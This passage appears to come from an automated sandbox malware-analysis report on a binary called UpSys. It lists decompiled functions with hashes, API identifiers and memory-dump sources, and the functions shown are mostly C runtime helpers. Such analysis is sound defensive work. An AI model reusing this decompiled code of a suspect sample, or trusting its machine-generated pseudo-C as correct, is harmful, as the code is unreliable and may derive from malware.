                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: File$CloseCreateHandleTime
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3397143404-0
                                                                                                                                                                                                        • Opcode ID: 103e0704bd305d5dfc3295600676c1bfe6901c0f772a62e050b10cf9faf003ad
                                                                                                                                                                                                        • Instruction ID: bc85289ca9db76fd3fa471c203d260ca43c6318521e9a5764273c3eff585e10c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 103e0704bd305d5dfc3295600676c1bfe6901c0f772a62e050b10cf9faf003ad
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 34F09A76720B9082FB408B53E918B597760B788FF4F548324EF2A03BE4CB78C9468B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140017364 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Pointer$DecodeEncode_lock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3858338685-0
                                                                                                                                                                                                        • Opcode ID: fda6332b8a86095a8437879412e21d87a4eca25b9bfed1270015353d64998b20
                                                                                                                                                                                                        • Instruction ID: a16ad8b19e0f05c344dd300be9081555338010b878e07884f33d5e28d1a2a8a0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fda6332b8a86095a8437879412e21d87a4eca25b9bfed1270015353d64998b20
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D9E04631600E8082EF0AAB93F9813E872619B8CBC0F444029BB1A4F3A3CC39C4908708
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003F260 Relevance: 3.8, APIs: 3, Instructions: 26COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 25%
                                                                                                                                                                                                        			E0000000114003F260(long long __rax, void* __rcx) {

				malloc(); // executed
				 *((long long*)(__rcx + 0x450)) = __rax;
				malloc(??); // executed
				 *((long long*)(__rcx + 0x480)) = __rax;
				malloc(??); // executed
				 *((long long*)(__rcx + 0x478)) = __rax;
				if ( *((long long*)(__rcx + 0x450)) == 0) goto 0x4003f2b9;
				if ( *((long long*)(__rcx + 0x480)) == 0) goto 0x4003f2b9;
				if (__rax == 0) goto 0x4003f2b9;
				goto 0x4003f2c6;
				E0000000114003F210(0, __rcx);
				return 5;
			}



                                                                                                                                                                                                        0x14003f26e
                                                                                                                                                                                                        0x14003f278
                                                                                                                                                                                                        0x14003f27f
                                                                                                                                                                                                        0x14003f289
                                                                                                                                                                                                        0x14003f290
                                                                                                                                                                                                        0x14003f29d
                                                                                                                                                                                                        0x14003f2a4
                                                                                                                                                                                                        0x14003f2ae
                                                                                                                                                                                                        0x14003f2b3
                                                                                                                                                                                                        0x14003f2b7
                                                                                                                                                                                                        0x14003f2bc
                                                                                                                                                                                                        0x14003f2cb

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errnomalloc$AllocateHeap
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2612591707-0
                                                                                                                                                                                                        • Opcode ID: eeaefc060679e1663e5ac6a4fd6b8e9bacd41bb694b288fe4e618cc951a4cc13
                                                                                                                                                                                                        • Instruction ID: 7b9d3fe07f0e16f7c0c3c5b7f09c605ccb725fe5035f43ee17b4b634b8ffc70c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: eeaefc060679e1663e5ac6a4fd6b8e9bacd41bb694b288fe4e618cc951a4cc13
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 55F0F8B6651A4182EB579A72A4153FB2390D74D789F080538BB494F3E6EF3548909364
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003F210 Relevance: 3.8, APIs: 3, Instructions: 18COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: free$ErrorLastPrivilegeRelease_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1805546551-0
                                                                                                                                                                                                        • Opcode ID: 2c9e134b6905873d57133a7f009df310aa304c93b8e56ccb09eb4d229938c89f
                                                                                                                                                                                                        • Instruction ID: 058602f004a5c2d32edda4a50e8c555ae01d6b10fba8c9771ebbec03be93decf
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2c9e134b6905873d57133a7f009df310aa304c93b8e56ccb09eb4d229938c89f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 58E0ECBE74344080FE9BAAA390517FA03A0AF8DB94F0C0865BF0D4F6A2CE3588415324
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140081BD0 Relevance: 3.2, APIs: 2, Instructions: 155COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 78%
                                                                                                                                                                                                        			E00000001140081BD0(signed int __ebx, void* __ecx, void* __edx, void* __esi, void* __eflags, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, void* __r8) {
				void* __rdi;
				void* _t46;
				void* _t48;
				void* _t62;
				signed int _t71;
				void* _t85;
				void* _t97;
				intOrPtr* _t98;
				signed int _t103;
				void* _t153;
				intOrPtr* _t154;
				intOrPtr _t155;
				intOrPtr* _t158;
				long long _t160;
				void* _t161;
				void* _t163;
				void* _t164;
				void* _t166;
				void* _t173;
				void* _t176;
				void* _t177;

				_t166 = __r8;
				_t85 = __eflags;
				_t71 = __ebx;
				_t97 = _t163;
				 *((long long*)(_t97 + 8)) = __rbx;
				 *((long long*)(_t97 + 0x18)) = _t160;
				 *((long long*)(_t97 + 0x20)) = __rsi;
				_t164 = _t163 - 0x40;
				 *(_t97 + 0x10) =  *(_t97 + 0x10) & 0x00000000;
				_t161 = __rdx;
				_t158 = __rcx;
				_t177 = __r8;
				E00000001140012D80(__edx, _t97, __rbx, __r8, 0x4009b6c0, __rcx, __r8);
				_t98 =  *((intOrPtr*)(_t161 + 8));
				_t106 =  *_t98;
				if (E00000001140050340(_t85, _t98) == 0) goto 0x40081c83;
				E00000001140016ED8(_t98,  *_t98);
				if (_t98 == 0) goto 0x40081c33;
				_t46 = E000000011400133B0(_t98, _t98);
				_t154 = _t98;
				goto 0x40081c35;
				E00000001140011960(_t46,  *((intOrPtr*)( *((intOrPtr*)(_t161 + 8)))));
				r8d = 0x2000;
				_t48 = E000000011400134A0( *_t98, _t154,  *((intOrPtr*)(_t161 + 8)), _t158, _t176); // executed
				if (_t48 != 0) goto 0x40081cb1;
				if (_t154 == 0) goto 0x40081c68;
				E00000001140058C80( *((intOrPtr*)(_t161 + 8)), _t154);
				r8d = 0;
				_t9 = _t166 + 1; // 0x1
				E0000000114000FCA0(_t9,  *_t158,  *_t98,  *((intOrPtr*)( *_t158 + 4)) + _t158, _t158, _t173);
				goto 0x40081dde;
				r9d = 0;
				if (E0000000114006D610( *_t98, _t158, _t164 + 0x68, _t154, _t158, _t106) == 0) goto 0x40081c68;
				_t155 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x2a0)) +  *(_t164 + 0x68) * 8)))) + 8));
				if ( *((long long*)(_t161 + 0x10)) - 2 < 0) goto 0x40081cc9;
				_t103 =  *((intOrPtr*)(_t161 + 8));
				E00000001140010880( *((intOrPtr*)(_t103 + 8)));
				goto 0x40081cd1;
				E0000000114005A320( *((long long*)(_t161 + 0x10)) - 2, _t103, _t155); // executed
				 *(_t164 + 0x68) = _t103;
				if (( *(_t155 + 0x40) & 0x00000010) == 0) goto 0x40081d4d;
				E00000001140016ED8(_t103, _t103);
				if (E00000001140050AB0( *(_t155 + 0x40) & 0x00000010, _t103, _t164 + 0x68) != 0) goto 0x40081d12;
				r8d = 0;
				E0000000114000FCA0(_t9 | 0xffffffff, _t103, _t106,  *((intOrPtr*)( *_t158 + 4)) + _t158, _t158, _t153);
				goto 0x40081d43;
				_t107 =  *(_t164 + 0x68);
				E00000001140061F10(__ebx, _t103,  *(_t164 + 0x68), __r8, _t103, _t158);
				E00000001140016710(0x50, E00000001140050AB0( *(_t155 + 0x40) & 0x00000010, _t103, _t164 + 0x68), _t103, _t103,  *(_t164 + 0x68));
				r8d = 0;
				E0000000114000FC40(_t71, _t103,  *(_t164 + 0x68),  *((intOrPtr*)( *_t158 + 4)) + _t158, _t158, _t161);
				0x40016a60();
				goto 0x40081db1;
				E0000000114000FD50(_t103,  *(_t164 + 0x68), _t164 + 0x20);
				_t62 = E00000001140080C50(0x50, _t103, _t155, _t158,  *_t158); // executed
				if (_t62 != 0) goto 0x40081d84;
				_t104 =  *_t158;
				r8d = 0;
				E0000000114000FCA0(_t71 | 0xffffffff,  *_t158, _t107,  *((intOrPtr*)( *_t158 + 4)) + _t158, _t158);
				goto 0x40081da7;
				E00000001140013120( *_t158, _t107, _t177, _t164 + 0x20);
				r8d = 0;
				E00000001140002610(E0000000114000FC40( *(_t164 + 0x68),  *_t158, _t107,  *((intOrPtr*)( *_t158 + 4)) + _t158, _t158, _t161), _t107, _t164 + 0x20);
				if (E00000001140050340(_t62, _t104) == 0) goto 0x40081dde;
				E000000011400133F0(_t67, _t107, _t155); // executed
				 *(_t155 + 0x44) =  *(_t155 + 0x44) & 0x00000000;
				 *(_t155 + 0x48) =  *(_t155 + 0x48) & 0x00000000;
				E00000001140058C80(_t104, _t155); // executed
				return 0;
			}
























                                                                                                                                                                                                        0x140081bd0
                                                                                                                                                                                                        0x140081bd0
                                                                                                                                                                                                        0x140081bd0
                                                                                                                                                                                                        0x140081bd0
                                                                                                                                                                                                        0x140081bd3
                                                                                                                                                                                                        0x140081bd7
                                                                                                                                                                                                        0x140081bdb
                                                                                                                                                                                                        0x140081be4
                                                                                                                                                                                                        0x140081be8
                                                                                                                                                                                                        0x140081bec
                                                                                                                                                                                                        0x140081bef
                                                                                                                                                                                                        0x140081bfc
                                                                                                                                                                                                        0x140081bff
                                                                                                                                                                                                        0x140081c04
                                                                                                                                                                                                        0x140081c08
                                                                                                                                                                                                        0x140081c15
                                                                                                                                                                                                        0x140081c1c
                                                                                                                                                                                                        0x140081c24
                                                                                                                                                                                                        0x140081c29
                                                                                                                                                                                                        0x140081c2e
                                                                                                                                                                                                        0x140081c31
                                                                                                                                                                                                        0x140081c3c
                                                                                                                                                                                                        0x140081c41
                                                                                                                                                                                                        0x140081c4d
                                                                                                                                                                                                        0x140081c54
                                                                                                                                                                                                        0x140081c59
                                                                                                                                                                                                        0x140081c63
                                                                                                                                                                                                        0x140081c6b
                                                                                                                                                                                                        0x140081c72
                                                                                                                                                                                                        0x140081c79
                                                                                                                                                                                                        0x140081c7e
                                                                                                                                                                                                        0x140081c88
                                                                                                                                                                                                        0x140081c98
                                                                                                                                                                                                        0x140081cad
                                                                                                                                                                                                        0x140081cb6
                                                                                                                                                                                                        0x140081cb8
                                                                                                                                                                                                        0x140081cc0
                                                                                                                                                                                                        0x140081cc7
                                                                                                                                                                                                        0x140081ccc
                                                                                                                                                                                                        0x140081cd5
                                                                                                                                                                                                        0x140081cda
                                                                                                                                                                                                        0x140081cdf
                                                                                                                                                                                                        0x140081cf9
                                                                                                                                                                                                        0x140081cfe
                                                                                                                                                                                                        0x140081d0b
                                                                                                                                                                                                        0x140081d10
                                                                                                                                                                                                        0x140081d12
                                                                                                                                                                                                        0x140081d1c
                                                                                                                                                                                                        0x140081d2a
                                                                                                                                                                                                        0x140081d32
                                                                                                                                                                                                        0x140081d3e
                                                                                                                                                                                                        0x140081d46
                                                                                                                                                                                                        0x140081d4b
                                                                                                                                                                                                        0x140081d52
                                                                                                                                                                                                        0x140081d64
                                                                                                                                                                                                        0x140081d6b
                                                                                                                                                                                                        0x140081d6d
                                                                                                                                                                                                        0x140081d70
                                                                                                                                                                                                        0x140081d7d
                                                                                                                                                                                                        0x140081d82
                                                                                                                                                                                                        0x140081d8c
                                                                                                                                                                                                        0x140081d9c
                                                                                                                                                                                                        0x140081dac
                                                                                                                                                                                                        0x140081dbf
                                                                                                                                                                                                        0x140081dc4
                                                                                                                                                                                                        0x140081dc9
                                                                                                                                                                                                        0x140081dcd
                                                                                                                                                                                                        0x140081dd9
                                                                                                                                                                                                        0x140081df8

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionstd::exception_ptr::_$malloc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1411101050-0
                                                                                                                                                                                                        • Opcode ID: 288e013b7943f8ebb95aa02ce417b2467ba7390dc300b23cf2291a5e4733825c
                                                                                                                                                                                                        • Instruction ID: 2a4cecb73350d247d1e649582cd17ac8816cd516a4d6ec574e0dff3d12ea46f3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 288e013b7943f8ebb95aa02ce417b2467ba7390dc300b23cf2291a5e4733825c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8351493634474482EE21EB27E5913EE6765FB89BD4F448411BF8E0BBA6CF39C6018740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140018B48 Relevance: 3.1, APIs: 2, Instructions: 129COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 61%
                                                                                                                                                                                                        			E00000001140018B48(intOrPtr* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r9, long long _a8, long long _a24, long long _a32) {
				signed long long _v56;

				_a8 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				if (__rdx == 0) goto 0x40018b9f;
				if (__r8 == 0) goto 0x40018b9f;
				if (__r9 != 0) goto 0x40018bbe;
				E0000000114001EAE4(__r9, __rax);
				_v56 = _v56 & 0x00000000;
				r9d = 0;
				r8d = 0;
				 *__rax = 0x16;
				E0000000114001EA14(__rax, __rbx, __rcx, __rdx, __r9, __rbp, __r8);
				return 0;
			}




                                                                                                                                                                                                        0x140018b48
                                                                                                                                                                                                        0x140018b4d
                                                                                                                                                                                                        0x140018b52
                                                                                                                                                                                                        0x140018b73
                                                                                                                                                                                                        0x140018b78
                                                                                                                                                                                                        0x140018b7d
                                                                                                                                                                                                        0x140018b7f
                                                                                                                                                                                                        0x140018b84
                                                                                                                                                                                                        0x140018b8a
                                                                                                                                                                                                        0x140018b8d
                                                                                                                                                                                                        0x140018b94
                                                                                                                                                                                                        0x140018b9a
                                                                                                                                                                                                        0x140018bbd

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DecodePointer_errno_flush
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1831910206-0
                                                                                                                                                                                                        • Opcode ID: caea7f4e08f472776fb2f16367befbb9ee5988f8bef28528d7caa32fd3d6829f
                                                                                                                                                                                                        • Instruction ID: b97f2c56ff94738344eee3df3d12a30227f1de90e51eff9153c5eae407e1ec96
                                                                                                                                                                                                        • Opcode Fuzzy Hash: caea7f4e08f472776fb2f16367befbb9ee5988f8bef28528d7caa32fd3d6829f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D641473130964086FB7A8E27A4843AAB681B74CBE4F184634BF564FBF5D73AD6418744
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400249A0 Relevance: 3.1, APIs: 2, Instructions: 98COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 70%
                                                                                                                                                                                                        			E000000011400249A0(intOrPtr* __rax, long long __rbx, signed int __rcx, void* __rdx, long long __rsi, void* __rbp, void* __r8, void* __r11, long long _a8, long long _a16) {
				signed int _v24;
				signed int _t41;
				signed int _t42;
				signed int _t43;
				signed int _t45;
				signed int _t46;
				signed int _t56;
				void* _t61;
				signed int _t74;
				signed int _t82;
				signed char* _t88;
				signed char** _t92;

				_t100 = __r8;
				_t96 = __rbp;
				_t93 = __rsi;
				_t82 = __rcx;
				_t78 = __rbx;
				_a8 = __rbx;
				_a16 = __rsi;
				_t92 = __rcx;
				if (__rcx != 0) goto 0x400249db;
				E0000000114001EAE4(__rcx, __rax);
				_v24 = _v24 & __rcx;
				r9d = 0;
				r8d = 0;
				 *__rax = 0x16;
				E0000000114001EA14(__rax, __rbx, __rcx, __rdx, __rsi, __rbp, __r8);
				goto 0x40024ae7;
				_t41 =  *(_t82 + 0x18);
				if ((_t41 & 0x00000083) == 0) goto 0x40024ae7;
				if ((_t41 & 0x00000040) != 0) goto 0x40024ae7;
				if ((_t41 & 0x00000002) == 0) goto 0x400249fd;
				_t42 = _t41 | 0x00000020;
				 *(_t82 + 0x18) = _t42;
				goto 0x40024ae7;
				_t43 = _t42 | 0x00000001;
				 *(_t82 + 0x18) = _t43;
				if ((_t43 & 0x0000010c) != 0) goto 0x40024a11; // executed
				E0000000114002A750(__rax, _t82); // executed
				goto 0x40024a18;
				_t77 =  *((intOrPtr*)(_t82 + 0x10));
				 *_t82 =  *((intOrPtr*)(_t82 + 0x10));
				_t45 = E00000001140018B10( *((intOrPtr*)(_t82 + 0x10)), _t92);
				r8d = _t92[4];
				_t46 = E0000000114002527C(_t45, _t61,  *((intOrPtr*)(_t82 + 0x10)), _t78, _t92, _t92[2], _t93, _t96, _t100); // executed
				_t92[1] = _t46;
				if (_t46 == 0) goto 0x40024ad6;
				if (_t46 == 0xffffffff) goto 0x40024ad6;
				if ((_t92[3] & 0x00000082) != 0) goto 0x40024aa8;
				if (E00000001140018B10( *((intOrPtr*)(_t82 + 0x10)), _t92) == 0xffffffff) goto 0x40024a92;
				if (E00000001140018B10(_t77, _t92) == 0xfffffffe) goto 0x40024a92;
				E00000001140018B10(_t77, _t92);
				r11d = E00000001140018B10(_t77, _t92);
				r11d = r11d & 0x0000001f;
				goto 0x40024a99;
				if (( *0x1400AE118 & 0x00000082) != 0x82) goto 0x40024aa8;
				asm("bts dword [edi+0x18], 0xd");
				if (_t92[4] != 0x200) goto 0x40024ac5;
				_t74 = _t92[3] & 0x00000008;
				if (_t74 == 0) goto 0x40024ac5;
				asm("bt dword [edi+0x18], 0xa");
				if (_t74 < 0) goto 0x40024ac5;
				_t92[4] = 0x1000;
				_t88 =  *_t92;
				_t92[1] = _t92[1] - 1;
				 *_t92 =  &(_t88[1]);
				goto 0x40024aea;
				asm("sbb eax, eax");
				_t56 = ( ~( *_t88 & 0x000000ff) & 0x00000010) + 0x10;
				_t92[3] = _t92[3] | _t56;
				_t92[1] = _t92[1] & 0x00000000;
				return _t56 | 0xffffffff;
			}















                                                                                                                                                                                                        0x1400249a0
                                                                                                                                                                                                        0x1400249a0
                                                                                                                                                                                                        0x1400249a0
                                                                                                                                                                                                        0x1400249a0
                                                                                                                                                                                                        0x1400249a0
                                                                                                                                                                                                        0x1400249a0
                                                                                                                                                                                                        0x1400249a5
                                                                                                                                                                                                        0x1400249af
                                                                                                                                                                                                        0x1400249b5
                                                                                                                                                                                                        0x1400249b7
                                                                                                                                                                                                        0x1400249bc
                                                                                                                                                                                                        0x1400249c1
                                                                                                                                                                                                        0x1400249c4
                                                                                                                                                                                                        0x1400249cb
                                                                                                                                                                                                        0x1400249d1
                                                                                                                                                                                                        0x1400249d6
                                                                                                                                                                                                        0x1400249db
                                                                                                                                                                                                        0x1400249e0
                                                                                                                                                                                                        0x1400249e8
                                                                                                                                                                                                        0x1400249f0
                                                                                                                                                                                                        0x1400249f2
                                                                                                                                                                                                        0x1400249f5
                                                                                                                                                                                                        0x1400249f8
                                                                                                                                                                                                        0x1400249fd
                                                                                                                                                                                                        0x140024a00
                                                                                                                                                                                                        0x140024a08
                                                                                                                                                                                                        0x140024a0a
                                                                                                                                                                                                        0x140024a0f
                                                                                                                                                                                                        0x140024a11
                                                                                                                                                                                                        0x140024a15
                                                                                                                                                                                                        0x140024a1b
                                                                                                                                                                                                        0x140024a20
                                                                                                                                                                                                        0x140024a2a
                                                                                                                                                                                                        0x140024a2f
                                                                                                                                                                                                        0x140024a34
                                                                                                                                                                                                        0x140024a3d
                                                                                                                                                                                                        0x140024a47
                                                                                                                                                                                                        0x140024a54
                                                                                                                                                                                                        0x140024a61
                                                                                                                                                                                                        0x140024a66
                                                                                                                                                                                                        0x140024a81
                                                                                                                                                                                                        0x140024a84
                                                                                                                                                                                                        0x140024a90
                                                                                                                                                                                                        0x140024aa1
                                                                                                                                                                                                        0x140024aa3
                                                                                                                                                                                                        0x140024aaf
                                                                                                                                                                                                        0x140024ab1
                                                                                                                                                                                                        0x140024ab5
                                                                                                                                                                                                        0x140024ab7
                                                                                                                                                                                                        0x140024abc
                                                                                                                                                                                                        0x140024abe
                                                                                                                                                                                                        0x140024ac5
                                                                                                                                                                                                        0x140024ac8
                                                                                                                                                                                                        0x140024ad1
                                                                                                                                                                                                        0x140024ad4
                                                                                                                                                                                                        0x140024ad8
                                                                                                                                                                                                        0x140024add
                                                                                                                                                                                                        0x140024ae0
                                                                                                                                                                                                        0x140024ae3
                                                                                                                                                                                                        0x140024af9

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
